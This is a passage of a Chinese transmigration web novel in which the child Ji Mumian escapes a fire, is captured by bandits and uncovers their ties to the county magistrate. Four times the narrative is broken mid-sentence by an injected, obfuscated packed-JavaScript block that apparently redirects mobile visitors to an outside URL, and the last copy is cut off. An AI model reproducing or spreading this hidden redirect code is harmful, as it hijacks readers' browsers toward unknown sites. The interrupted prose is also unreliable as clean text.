本来还觉得自己脑子够用,辅以原文能逆天改命,现在只想仰天长叹,“有病吧,这什么地狱难度啊。” 不过穿越自然也有穿越的好处,纪木棉以前是个大近视眼,散光严重,除了睡觉,其它时候眼镜一摘“指鹿为马指桑骂槐”,而现在却连树叶上的虫蛀都能看清,院子里的动静,空气中的气味……只要专心留意,纪木棉都能勉强捕捉。 这院子就那么大,树木瘦小,一眼望尽,感觉哪里都藏不下人,这暗处的帮手躲太远也不像话,难不成行动起来,施醒还没喊救命,门外的汉子先大声吆?不怕来的不是自己人吗? “这人恐怕就是山匪。” 正当纪木棉左顾右盼,甚至一度脑子抽风,怀疑人会埋在地里,忽然冒头时,纪书灵又道,“……而他的内应是县衙中人,甚至这一路极有可能是尾随裴知节而来。” “啊?”纪木棉像块海绵,贴着她娘,急于吸取知识。 “他手臂上方绑着青色布条,那是一种标记,便于自己人在混战之中相互辨认。” “……只有内应是县衙中人,他才会如此有恃无恐,不慌不乱,还认识县令的小公子……如果我所料不差,内应的地位还不低,管家、捕头甚至县令本人都有嫌疑。” “至于尾随裴知节……若此人没有见过裴知节,不知道裴知节的行踪,他出现的时机不会刚刚好,分明就是畏惧裴知节武艺了得,从而避其锋芒。” 纪书灵语气温柔却说得很快,她是真想教会纪木棉这些东西,甚至有些后悔教迟了,兴许早几年就该把求生技能编成故事,不管听不听得懂,都要一遍遍灌输给纪木棉,这样下了山,遇上姜祈,被卷进各种“奇形怪状”的风波里,才能活下来。 在纪书灵的认知中,姜祈就像风眼,避不开逃不掉,很多事兜兜转转,最终仍绕回她跟姜祈身上。 “阿娘,坏人混进来想干什么?”纪木棉的鼻子都快从门缝里探了出去,她不回身,只拧着胳膊指了指姜祈,“冲他来的?” 不等纪书灵回答,门外场景瞬息万变,只见那彬彬有礼的男子忽然伸手,趁其不备一把擒住施醒,他动作娴熟且快,施醒的反应能力还算不错,仍是只来得及发出一声短促的“救……”,便被连鼻带嘴捂了个结实,差点把他捂死。 好在男人并无杀人之意,他从袖内扯出绳索,先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415058|200748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堵了嘴又将人绑紧,直接扔在院子里,随后明目张胆吹响了一枚鸟哨,哨声十分尖锐,气息不尽,哨声不绝,似乎是在传递某种消息。 紧接着,他不再用“先礼后兵”这一套,直接踹向木门,木门本身已有损伤……按理说这点损伤还不至于踹两脚就垮塌,实际上这门却脆弱的有些超乎想像,木屑飞溅,关牡还没断,其中半扇门先轰然落地往房中砸去,意外的是没能砸中任何人! 房内空荡荡,只有裴知节跳进来又跳出去的那扇窗户还开着。 男人脸色只是微变,他又将鸟哨衔入口中,这次吹出的曲调又短又急,连续三次之后才安静下来。施醒刚刚还忙着在井沿子上搓绳索,试图将这粗麻绳搓断,在听到这一连串的鸟哨时猛地停下了动作。 这阵鸟哨声他听过,还不只一次,相同的频率、音色和高低很难说是巧合! 可惜施醒现在被堵着嘴,那男人也没空理他,只朝院子里看了一眼,便翻身从窗户追了出去……施醒干瞪了一会儿眼,又加快动作开始磨他的麻绳。 东梓县的县衙之后是一片茂密竹林,并非为了附庸风雅,实在是除了竹子,施且随什么都种不活,又不想荒了这块地。而且竹子好哇,待客可以赏,出笋可以吃,一物两用,还不必费心照顾。 纪木棉已经被她娘拽着,穿过了这片竹林,纪书灵不愧是能独立耕种半亩地的女人,看着纤细弱小,仙气飘飘,衣服下遮着腱子肉,纪木棉被拽地双腿跟不上倒腾,半飘在空中,被竹叶连扇了好几次嘴巴,稚嫩的脸皮子上都剌出了血印。 本以为自己够窝囊了,回头一看便宜爹更窝囊,他显然是没怎么走过这种泥泞,铺满竹叶,又软又绊脚跟,还时不时蹿出□□和蛇的路,跑两步就趔趄一下,纪书灵一边顾着孩子,另一边还得搀着他…… 不过纪书灵这根拐杖一心要活命,姜祈拄着她非但没有肢体接触的暧昧,反而跟纪木棉差不多,绊腿也得跑起来,摔倒也得往前滚,不久之后,姜祈就满脸写了“认命”二字,气也不叹了,也不穷讲究端方雅正了,抡起不协调的腿就是跑,俩大人拖一小孩儿……纪木棉从飘变成了飞,那叫一个风驰电掣。 竹林茂密,行路虽艰难,却也能遮挡追兵视线,就算来者经验丰富腿脚快,一时也赶不上,再说离了房间,紧要关头三个人可以分开跑,好过被人一网打尽——这原本是姜祈的初衷。 他甚至想到对方已经有不少人混入城中,一旦鸟哨声将消息递出,周围被团团包围,那自己就挺身帮纪书灵断后,反正对方十之八九冲自己而来,目的达成,自然撤离,不会继续搜索母女二人的下落……英雄救美之后,纪书灵肯定会感动,然后以身相许,自己推托,纪书灵坚持,再三推托,最后终成眷属。 纪木棉眼睁睁看着她的便宜爹又被剧情模板削去了脑袋……姜祈刚有点白日做梦的痴呆相,便遭稚嫩童声无情戳破,“好大的烟啊,是不是有人放火了!” 8. 第 8 章 东梓县只是块边角料,相对于周遭村镇而言要繁华一些,实际好不到哪里去,就纪木棉看来跟需要扶贫的乡也差不多,没有大路没有好路,房子低矮,杂草丛生。 连县衙这种政府机关的重要部门,周围居然也遍布荒地和沟渠,火是从两个方向烧过来的,幸好这个季节空气湿润,不久前又下过雨,火势漫延不算快,只有烟气滚滚,转眼将三人围困其中,不辨方向的同时,还呛得半死。 纪木棉本来就是重病刚有起色,谈不上好透,脚不沾地的跑路已经让她胸闷肺疼,再这么一呛,窒息感汹涌而来。 她已经有过一次濒死的经验,根本不想再来一次,纪木棉顾不上装小孩,判定什么话能说什么不能说,只扯着嗓子喊,“火小烟大,下水下水!” 县衙竹林之后就是条河,跟灌田的沟渠相连,现在是涨水期,宽度和深度都能在火中保人。唯一的麻烦在于姜祈出身太好,是家中独子,按纪木棉这些年的工作经验,这样的人家不会准孩子下河冒险,哪怕长在乡野间,十之八九都不会游泳。 谁知姜祈动作迅速,直接将外面的长袍脱了,长袍吸水,进了河就会变得无比沉重,只穿里衣虽冷了点,这种天气还不至于冻死人,纪木棉话音刚落,就被自己略有血缘关系的爹娘摁进了水中。 她从小寄养在外婆家,外婆身体不好,也不太管她,村子里就是朋友多,一起撒欢儿,什么调皮捣蛋的事都干,夏天从两三米高的桥上跳下去也属寻常,因此猝然之间水没了顶,纪木棉也根本不慌,她憋着气,隐隐约约听见了喊杀声,猜测是县衙那头出了问题…… 这不奇怪,按裴知节的说法,这帮土匪的目的就是进攻县城,擒贼先擒王,抓住了官,才好警示民,奇怪的是她又听见一阵动静——马蹄声,这次离得很近,沿河道簌簌,而且越来越近。 “完了,”纪木棉心想,“这伙土匪里肯定有军师,放火就是为了把我们逼进水里好瓮中捉鳖!” 没被摁在安逸的花厅里,被摁在了沟渠中……纪木棉忽然觉得自己是王八,被人翻过来脚朝上,努力半天翻不过去,全是徒劳。 周围火势本就不大,人一边游一边顺着水流飘,岸上那阵如影随形的动静响起时,纪木棉已经到了外围,烟气稀薄了不少,除了不好闻,倒没那么呛了。 然而等纪木棉实在游不动,肚皮朝上飘起来的时候,悠然自得的马蹄声戛然而止,变成了尖锐的破音,“人呢!!” “……”纪木棉也想问“人呢!”她略带血缘关系的爹娘呢! 把自己这么小一个娃丢了当诱饵,这事姜祈干得出来,纪书灵怎么也干得出来啊! 东梓县灌田的沟渠四通八达,从河道延展出去,早些时候纪书灵就被姜祈拉住,没有顺水往下游飘,火势引起的烟尘很快覆盖了这方区域,加上两人的水性都不错,追兵又来得晚些,还有纪木棉这个冤种的狗刨式,把水花拍得巨大,吸引了目光,这才得以逃脱。 纪书灵自然不放心一个孩子漂泊在外,想要跟上去,奈何姜祈死不撒手,水下纠缠讨不到好,不小心两个人都会溺死,反而没人去救纪木棉……姜祈见她稍稍冷静下来,赶紧趁浮上水面换气的功夫耳语道,“他们要的是我,纪木棉也只是钓我的工具,只要我们没被抓住,纪木棉就是安全的。” “土匪绑肉票,不给钱就割耳剜眼……”时间紧迫,纪书灵的话尚未说完,两人就重新悄无声息地潜入芦苇丛中。 这话也不必说完,姜祈多聪明一个人,当然知道是什么意思——如果县衙有内鬼,肯定会将纪木棉的身份透露给匪寇,匪寇抓住她不必杀她,只要折磨并放出消息就够了,只要人有一口气在,做爹的难道能放弃不管? 这种情况又谈何安全。 姜祈不否认自己在赌,就他看来,县衙里来敲偏厅门的那位中年男人并非穷凶极恶,否则他有无数种手段可以逼人开门,不至于让屋里三个人都逃出去……譬如这把火早些点,就点在县衙里;譬如堵住施醒的嘴,大头朝下威胁要将他往井里丢…… 照裴知节的说法,这伙匪徒训练有素,虽不如正规军令行禁止,但也很有些本事,因此姜祈推测,那人手下留情未必是心软独断,应该也收到了上头的指令,纪木棉落到他们手中不说礼遇有加,至少耳朵和眼睛能够保住。 他虽介怀纪木棉的身世,却也不至于卑鄙到残害一个小女孩。 纪书灵也很快想到了这一点,绵绵大病初愈,先遭烟熏火燎,再下水一激,继续跟着逃亡身体肯定受不了,落下病根还是轻的,怕就怕路上再发烧,难找大夫,把命给送了,只能先跟着姜祈赌一把。 她眼睁睁看着纪木棉进了浅渠,被追兵逮住拉上岸……透过烟尘,似乎还给了马骑,这才松一口气。 让俘虏骑马,至少证明不会太为难纪木棉。 纪木棉也没想到这些土匪如此讲道理,原文中他们在村子踩过点之后不久,整个村都被屠杀干净,鸡犬不留。读到这段时,她心里都凉了半截,甚至有些愤恨如此悍匪没有交代结局,相当于没有报应。 一时之间,纪木棉十分忐忑,心被颠得像要离家出走,当然也有可能是她根本不会骑马,脚都够不着脚蹬,只能死死扒着马鞍。幸好马走得很慢,还有人牵着,她摇摇晃晃硬是掉不下去。 “你们要带我去哪儿?”纪木棉很不客气。 她本来想稳着点,别把人激怒了小命不保,心念一转又觉得自己这么小个人儿,什么威胁都没有,也不会无理取闹放声狼嚎,只是态度差一点有什么关系,反而太稳当了遭人提防。 追过来的匪徒一共是四个人,除了县衙敲门现在牵马那位,还有两“男”一女。他们装束都差不多,劲装短打,手臂上方绑着青色布条,其中还有一人带着斗笠。 “去我们的落脚地啊,”说话的是那女子,她长相端正,说不上很美,却有着朴素的浓眉大眼,二三十岁的样子,声音很轻快,藏着风吹不折天塌不惊的韧性,“我们大当家有请。” “我不去!”纪木棉转过身子,她又要闹别扭,又怕真的掉下去,还顺口编瞎话,“阿娘说你们是坏人,攻进县城是找死,我还小不想跟你们一起死。” “噗……哈哈哈哈哈……”那女子笑起来,“小小年纪懂得还挺多。” “你放心,我们进城是为了寻活路,不是找死,也不会把你怎么样,你只要乖乖的……”她拍胸脯,“我们失败了也会保你平安。” “二当家……”牵马男子有些无奈,“别什么都承诺。” 纪木棉立马捕捉到了几条关键信息,一是山匪遭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415059|200748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受了某种危险,使得他们不得不进攻县城,唯此才有活路;二是他们并不如想像中烧杀抢掠无恶不作,至少眼下还没有这种倾向;三是这女子地位很高,说得上话。 这几条关键信息有些只能放在心中盘算,有些却能直接贴脸,纪木棉立马做出反应:“你是二当家?你很厉害吗?” “那是当然,”女子把头一昂,“大当家也就仗着出生比我早。” 牵马男子又无奈:“他是你亲大哥。” 纪木棉:“……” 感情这土匪干的还是家族企业。 “那你叫什么?”纪木棉试图套出对面姓名,看看是否在原文中出现又或历史留名。 如果真有一段记载,不管是长是短,终归是个推断剧情发展的依据。 “我叫阮红梅,这位是琅叔——封琅,常青和瓦罐。”女子坦荡,将周遭一圈人都介绍了过去。 那牵马的高大男子是封琅,站在另一侧防止纪木棉掉下马的小个子是常青,马后沉默寡言的年轻人则是瓦罐。 “瓦罐这个名字奇怪吧,他是个孤儿,已经孤了……”她往马后一仰,那年轻人便接口道“二十七年”,“嗯,”阮红梅继续道,“没爹娘取名,吃百家饭长大的,后来遇到个老乞丐,临死前送了他一个瓦罐,每顿省两口吃的放瓦罐里,这样讨不到饭还能热杂和菜吃,他感念恩情,就把名字从‘喂,讨饭的’,改成了‘瓦罐’。” 纪木棉:“……” 她难过了一阵,忽然想我都穿越了,怎么不能带个传送门直通合作社呢!我搞扶贫有一套的! 瓦罐的名字纪木棉没有半点印象,封琅其实也没印象,不过她吃饭时候刷视频,曾刷到过大崇紫微垣辅台李宇清的生平。 李宇清一生堪称毁誉参半,当他还是歧州府府理时,其中一项功绩就是于饥年大胆开放歧州府库,同时从当地乡绅手中购粮发放,使饥民得以填饱肚子,无形中化解了一场农民起义。 当地乡绅中就有一户封姓人家,因囤粮涨价,不卖官府,最终被抄家斩首,以儆效尤。 那视频里的博主就发出过疑问,荒年奸商垄断市场,囤积居奇的并不少见,可是官府已然出面,又愿意花钱买粮而非直接征收,这封员外没有当官的背景,在大崇能积累出一定家产,能力和头脑肯定不差,怎么敢明着跟朝廷对抗,最后弄到家破人亡。 李宇清便是凭借此事从府理一路升任紫微垣辅台也就是当朝右相,与太微垣辅台——在大崇也称太师、天市垣辅台,并列三公,一人之下万万人之上。 封姓在大崇并不多见,封琅又读过书,看得出此前家世不错,纪木棉怀疑他跟被抄的封家有关系。 至于“阮红梅”这个名字,原文里曾数次提到,堪称女主纪书灵的白月光,可惜她一出场已经是个死人,跟小木棉差不多,绝大部分时间活在回忆中,成了有事没事虐一下女主的工具。 但是纪木棉万万没有想到白月光“阮红梅”竟然是个土匪头目,还在这东梓县里当土匪头目! 最后剩一个常青……纪木棉人都要炸开了,她记得裴知节的官配就叫“常青”,是个温柔坚韧有些腼腆的姑娘,可眼前这个常青一副落拓不羁的打扮,腰间缚根青竹杖,头上带着包浆斗笠,除了个头,哪里都不像个姑娘。 9. 第 9 章 小女孩的眼睛又大又亮,常青被灼灼目光煎烹了好一会儿才抬起头,她脸上的晒痕有些不均匀,跟这副装扮相得益彰,改匪为丐也就差个破碗的事,即便如此仍能看出她五官秀气明朗,甚至给人一种长剑出鞘锋芒毕露的错觉。 纪木棉还记得原书中写她,都是用些忧郁多愁的词,她身体不好,连出门晒个太阳都要裴知节抱出来再抱进去,后来常青的死还直接导致裴知节跟姜祈反目,断送了裴知节的性命,姜祈的脊椎。 原书只在画外音中提及常青是来报仇的,她利用了自己的死亡以及裴知节的爱,就是为了离间裴、姜二人的感情……至于这仇恨何来倒是没细讲,至少纪木棉快速浏览时没看见。 兴许是和书中人融为一体的原因,纪木棉出神时也继承了原主的习惯,双目愣愣不聚光,没完没了盯着一个方向,看起来有些痴傻。常青从不在意到好奇再到被她盯得有些毛骨悚然,只得清清嗓子,拿出哄孩子的语调问,“怎么了?” 说实话,这声音就算夹起来跟温柔腼腆也沾不上边,更有种淡淡的防备,纪木棉稍稍回神,“没什么,只是觉得你像我一个朋友。” 她在看书时就挺喜欢常青这个角色的,聪明坚定,从头到尾都知道自己要什么,不为外物所扰。裴知节的痴情兴许令她心软过却无法动摇她,简直是大堆恋爱脑中的唯一清流。 “你才多大,我会像你一个朋友?”常青带了丝笑意,声音也不像方才僵硬。 到这时纪木棉才完全清醒,她眨眨眼睛,天真无邪,“就是像嘛,她也总是拒人……” “拒人千里”差点脱口而出,纪木棉赶紧装傻,“巨人什么的……” “是吧是吧,”常青还没接茬,阮红梅在另一边点头赞同,“小孩子就是敏锐,我也老说她不近人情,不过你别怕,常青不是个坏人,心虽不软嘴也不硬,不会为难你的。” 绑架小孩的这一行人已经慢慢走了有一段时间,纪木棉是从水里被捞上来的,浑身湿透,阮红梅给她披了一件外袍,奈何用处不大,她在风中渐渐有些失温,忍不住打了个哆嗦。 常青:“……” 她沉默了一阵才开口,“快到了。” 的确是快到了,纪木棉已经看到了县衙。 若不是延河放了火,将竹林烧个干净,火势到现在才勉强得到控制,也不必辛辛苦苦走小路绕上这么一大圈。 县衙并非想像中门户紧闭,相反,还有不少衙役装扮的人进进出出,正在组织救火,坐镇其中指挥者正是施且随,因此看起来与往日并无不同。 一炷香前这周围还有不少商户人家,烟味刚起时没什么动静,只以为晚饭时间,谁家柴火受了潮引起的,只是这烟越来越大越来越浓,黑滚滚冲天而起,几个衙役敲着响锣喊“着火了,着火了”,很多人这才意识到不对,纷纷涌到了街上。 施且随已经命衙役将这些人分成了几组,年轻力壮想帮忙的编成队运水救火,还借用了些板车,老弱则进行疏散,有亲戚可以先投奔去亲戚家中,没有的——已经征用了大户人家的院子暂且安顿,等火灭了再计算损失。 火势漫延没有想象中快,受灾面积也有限,纪木棉并非这方面的专家,只是生前在各个社区做过消防宣传,懂一些基础理论,由此判断土匪们放火时留了后手,兴许设置了隔离带,兴许提前观望过风向……总之没有太过脱离掌控。 趁着周遭纷乱,烟气缭绕,视野不清,封琅牵马带着纪木棉从侧门混进了县衙。 县衙还是那个县衙,这么短的时间肯定不至于拆了重盖,只是“包子馅儿”全都变了,纪木棉打眼就看见了彭大人,他被五花大绑,蒙着眼睛堵着嘴拴在树上。 彭千里是个会点拳脚功夫,体格子也很不错的文官,大概是跟人动过手,官袍都被扯坏了,脸上青一块身上紫一块,脖子边还有血痕,但是看他挣扎蹬腿想骂脏话的精神头,伤势应该不重。 然后是一院子各式各样打扮的土匪,有像小摊小贩的,有像乞丐的,还有丫鬟小姐和商人小厮……形形色色的人握着形形色色的兵器,从镰刀、钉耙到锄头、铁铲,颇有些乌合之众的混乱。 纪木棉飞快扫了一眼,只觉人不如想像中多,按裴知节的说法,山上匪窝已成气候,县里拿它毫无办法,就算去州府借兵,也并非二三十人就能解决,所以才陷入了僵局,使东梓县屡屡遭灾。 可……纪木棉隐隐觉得不对,县衙已经被土匪占据,彭大人灰头土脸施大人却神色如常,不仅自由不受限制,甚至还能组织救火,就连衙役都在外头各司其职。 东梓县不说富足,看百姓们群策群力,自愿与衙役共同救火的情形,施且随这个县令当得至少不昏不庸不压榨,而土匪们经常下山杀人,搞得民不聊生,影响施且随的政绩另说,看他府中陈设,也都在俸禄之内,不像收受贿赂,暗中勾结,拿过土匪的好处。 更遑论这帮土匪平常杀人不眨眼,此时此刻都放弃老家进县城了,竟然规矩起来,烧杀抢掠就占个“烧”字,火势还不大,既窝囊又憋屈…… 不应勾结土匪却显然是幕后黑手的县令,杀人如麻屠村灭门却脑袋一拍打算从良的土匪……纪木棉就像看见一匹两条腿走路的马,前后别扭,横竖别扭。 “阮姐姐,我有些害怕。”纪木棉嘴甜,又顾不上害臊,这会儿功夫已经哥哥姐姐叔叔都挂在了嘴边,“这些人……院子里这些拿刀拿斧头的人你们都认识啊?” 阮红梅已经将她从马上架了下来,而常青则去后院想找件干爽的衣服给她换上。土匪为了生计,需要强身健体,很少生病,因此山上只有一位军师兼半吊子大夫,而纪木棉是个细胳膊细腿的小丫头,全身软绵绵就是肉包着没定型的骨头,生起病来必然凶猛,成个半死不活的累赘。 所以她一哆嗦,围着马站的四个人面上不动声色,心里全都凉半截。 这会儿纪木棉还不紧不慢在院子里穿梭,阮红梅牵着她往卧房走的同时,怕小丫头脚下拌蒜摔一跤,七八岁的孩子抱起来又不太方便,到最后只得妥协慢慢来,她口中回应道,“都是我们的老朋友, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415060|200748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然认识。” “没有新朋友?”纪木棉继续天真无邪。 “嗯……没有,干我们这行的不太敢交新朋友,”阮红梅说着,将她往上提了一截,“抬腿抬腿,跨门槛。” 说的也是,侵占衙门等同造反,谁造反的时候身边不是死忠亲信? 为防错漏,纪木棉又问,“那你多久没交新朋友啦?” “你个小丫头问这些干嘛?”阮红梅性子好,话虽这么说却还是想了想回答道,“有小半年了吧,山上钱粮有限,总有人来也养不起。” 如果这么久都没人上山,那之前所谓“投名状”的推测就不成立,除去这种情况,土匪害命便是为财,洗劫乡绅商户还有的一说,城外半山腰处的村子穷到白面靠赊,母鸡因为没食都不下蛋了,主人家也舍不得杀了吃,土匪们耗这个力气屠村是为何?为了几只皮包骨的母鸡还是田里东倒西歪的秧苗? 亦或吃饱了撑得散散力气? 观院中之人的形貌,没一个肥头大耳,甚至有一些堪堪摆脱枯瘦,需要走这么远冒这么大风险靠杀人散力气? 常青在整个县衙中翻箱倒柜,可能还找了人来问,终于找到了几件适龄的衣裳。 一件跟纪木棉身上的类似,是她昏睡的时候施县令遣人去买的,剩下都是男装,十之八九属于施醒,小孩子身高一月一变,还是半新已经要换了,换完舍不得扔,攒了许多压箱底。 阮红梅从中选了件方便行动的短褐,又把纪木棉头发擦了擦,半干状态扎起来,她左看右看,感叹道,“还得是官宦人家的小姐,细皮嫩肉的,穿什么都像个惹眼的靶子。” 纪木棉:“……” 其实阮红梅说得不对,小木棉自出生就没过上富贵日子,她能细皮嫩肉完全是因为纪书灵——阿娘心疼她,一点苦都不给她吃。 纪木棉忽然感觉责任重大,不仅得自己活着,还要延续小木棉的生命,最好不受伤,自己的魂魄皮糙肉厚是不怕疼,可纪书灵难免会担心。 小孩子的脑袋里总是天马行空,想到哪儿就停留在哪儿,吃饱了还容易困倦,纪木棉也无法控制,等衣服都换好,手上捧着一碗热茶,啃完半个馒头,空气中的烟尘消散许多时,她才重新想到屠村的事,瞬间睡意全无,还出了点冷汗。 阮红梅已经从卧房离开,眼下是常青在“看守”她,彼此没有相互为难也改变不了土匪和肉票的关系,纪木棉的自由还是受到了一定限制。 她想了想,张口就问,“我阿娘让我别乱跑时,总说土匪喜欢吃人,前几天还到城里吃了整整一家子人,只吃头,而且是小孩头,肉嫩……你们真的吃人吗?” 常青少语,纪木棉埋头啃馍时,她开了半扇窗,正一声不吭望着外面,猝然闻言,她竟丝毫不遮掩,点点头,认下了这桩丧心病狂的罪过。 因之前答应过二当家说话要委婉,别吓着小丫头,常青顿一顿才道,“你别怕,我们不吃人,只是杀了他们,把头割下来串在一起而已。” 纪木棉:“……”活阎王啊! 10. 第 10 章 常青说话是不太中听,好在直白也有直白的好处,都不需要动脑筋,纪木棉就知道县城里死的那户人家的确是土匪们下黑手。 纪木棉长在一个法治社会,对动辄灭门割头的做法心生畏惧,嘴埋在馒头里偷偷嘀咕,“真狠啊。” “狠吗?”常青耳聪目明,她转过目光看向小丫头,“我们从他家中搬出三箱珠宝黄金,价值数万两,另有古董字画数万两,银票数万两,家宅地契无数,奴仆全是卖了身的贱籍……” 常青难得有些义愤填膺,平静之下起波澜,她冷静了片刻才问,“小丫头,你知道这么多钱意味着什么?” 纪木棉还真没研究过银子在大崇朝的购买力,她摇摇头。 “整个东梓县的百姓半年都用不掉这么多钱,”常青怕她太小没有概念,又举了个实例,“你手里的馒头,纯白面做的,很贵,一两银子却能买二十个。” “我像你这么大时,都不知道还有这样好吃的东西。” 纪木棉算是喜欢吃馒头的,配点榨菜、咸菜……纯生啃就有点寡淡了,还噎得慌,得灌水顺下去,要不是饿了一天,啃不了大半个。 她记得自己刚穿过来,纪书灵给烙过两张白面饼,白面是赊的,寻常根本吃不起,只不过那时她脑子还不太清楚,昏昏沉沉,没有细想。 纪木棉以前干过扶贫,当然见过很穷的人家,住着破瓦房,漏雨,夏天好一点,能活,到了冬天根本买不起棉衣,被子像家传的,棉花都成了絮。 这些人有的是因为懒,不事生产,家里有田也不种;有的是受环境或思想制约,读不上书,眼界受限,村里土壤贫瘠,通不了路,他们也不想离开故土;还有则是纯粹的苦命人,年纪大了或身上患病,做不了工……形形色色。 不谈什么荤素搭配,营养均衡,除非懒到不求生,等人喂,这些人再穷都会有一口大米白面吃,毕竟乡里会管,派出所会管,还有贫困补助一年几千。粗粮到比精面贵,只有脱离了贫困,有闲心开始追求健康生活了,还得做出个类似八宝粥、拌沙拉的花样来才会吃。 纪木棉本已经饱了,又埋头啃一大口,“真该杀。” 大崇重农抑商,农民挣多挣少吃不吃得饱另说,反正是重农抑商,因为商户更惨,要纳重税,州府和县里有事缺钱,他们必须得捐,不捐违法,实际资产还得登记造册,分上中下三等,世代维持阶级,所挣银两超出者要么全部没收,要么就得交重金越级,纳税额度也不同,每三年核查一次。 所以商户多,肥的是州府和县里,纵观整个大崇,能积累下几万两珠宝,几万两字画的商户五根手指有的多,它东梓县就不可能分到一个,只有贪官才有这个实力。 还得是那种巨贪首恶,骨灰里都掺着别人的血汗,千刀万剐不为过。 纪木棉刚起完这个念头又马上冷静下来,贪官悄无声息就死了,没有审判定罪,没有警示后人,甚至爽也只爽了寥寥数个知情者,他贪来的钱归到土匪手里,也没派上原本的用场。 穷的人依然很穷,贪的人依然在贪,不该修的庙宇神像继续修,该修的堤坝河道无人问津,凡事没有丝毫改变。 纪木棉狠狠咬一口馒头,心里叨咕,“什么太师、宰相和皇帝都是睁眼瞎吧,一个人就能贪几十万两,那上下全都清点一遍至少要没了数百数千万两,国库才多大,也就几千万两吧,这么大亏空都察觉不到吗!换成是我……” 踩三捧一的坏话还没思量完,就听见外面传来乱糟糟的声音,施且随“烟熏火燎”地闯进来,身上衣服被烫出来好几个洞,头发和眉毛也在高温中打了卷。 外面的火势已经被完全控制住,除了竹林,只有临近竹林的几家院墙、鸭子窝和木桥受了灾。 因为近两日雨水充沛空气湿润,烟尘到比火光还大,二十几只鸭子闷死了十几只,另外还有反应不及时的人家以及参与救火的民众呛了烟,已经让县城里为数不多的几个大夫支了棚子,一一把脉开药,账目支出都算在县衙门里。 先不论施且随有何居心,只谈组织调度能力和对细节的把控,纪木棉是相当佩服,顶得上她生前领导十个不只。 此刻在院中跟施且随比划的男子应该就是大当家,他三十来岁,眉眼之间跟阮红梅有五分相似,器宇轩昂谈不上,但是很有精神头。 这个距离,纪木棉只能勉强望见他们谈话的片段,施且随先是将损失清点一番,大当家应该是愿意拿出三千两用于灾后重建和医药费,施且随讨价还价,声音时高时低,他似乎是知道土匪们劫了贪官,手里有钱,咬死不松口,最后定了五千两。 然后施且随又忽然激动起来,说什么,“跑了!怎么能让他跑了!”同时目光往卧房处扫一眼,看到纪木棉他便条件反射似的压低了声音,之后半晌,纪木棉除了自己的姓名,什么都听得含糊不清。 能让施县令激动成这样的人不多,不想也知道那个“跑了”的人是姜祈。 当朝太师位高权重,就算流落在外,只要有一点机会,他就能搅动一方风云,而施且随跟土匪合作,无论目的是什么,将一个权贵控制在手中,会有无数种利用方法,一旦权贵逃脱,却是后患无穷。 好在这位权贵有亲有故有牵挂,这牵挂还是个柔弱无能的孩子,落在自己人手中,尚且不到满盘皆输的时候。 紧接着,纪木棉又看见院子里起了变化—— 原先大部分土匪都聚集在一处,手中紧握着武器,就连她一个小姑娘刚从侧门进来时,都遭受了不少目光扫视,其中许多充满敌意。 灰蒙蒙的空气中,哪怕纪木棉心智成熟,仍是感到一阵胆寒。 眼下施且随回归,在他和大当家的安排下,院中只留了寥寥数人,分别看守着正大门、侧门以及后院门。 这几人的体格子都不错,目光炯炯,所用武器也比较像样,以刀斧之类为主,眼错间,纪木棉不确定自己是不是看见了一把朴刀。 整个衙门口慢慢冷清下来,纪木棉刚啃完一整个馒头,灌了半壶水,这副身体孱弱,这一下有点撑到了,她正瘫在椅子上消食,脑子琢磨土匪们杀了贪官挣到一辈子都花不完的钱,怎么隔几天又盯上了半山腰的穷乡邻,只为抢一二铜板? 这事越琢磨,越不像是他们干的。 当此时,门忽然被敲动,施且随彬彬有礼,“姜小姐……” “我姓纪……”纪木棉下意识纠正,施县令大概只听到她娘喊“绵绵”,没带过姓,便想当然耳。 “纪?”施且随想了想,也是,在此之前他从未听说姜太师已有妻女,之前见到的那位“姜夫人”想必是养在别处的外室,说出去不好听,大户人家为了颜面暂时不随父姓也能理解,只不过纪木棉的利用价值又因此下降了几分。 “施县令进来说话吧。”常青看着那道端住不动的影子就难受,纪木棉也能看出她的难受——跟自己碰到官腔重的领导差不多。 即便是在自己家,施且随也要得到允许才推门而入,常青虽看他难受,也不得不承认施县令是个君子,她又道,“你们聊,我守在门外,有事喊一声。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 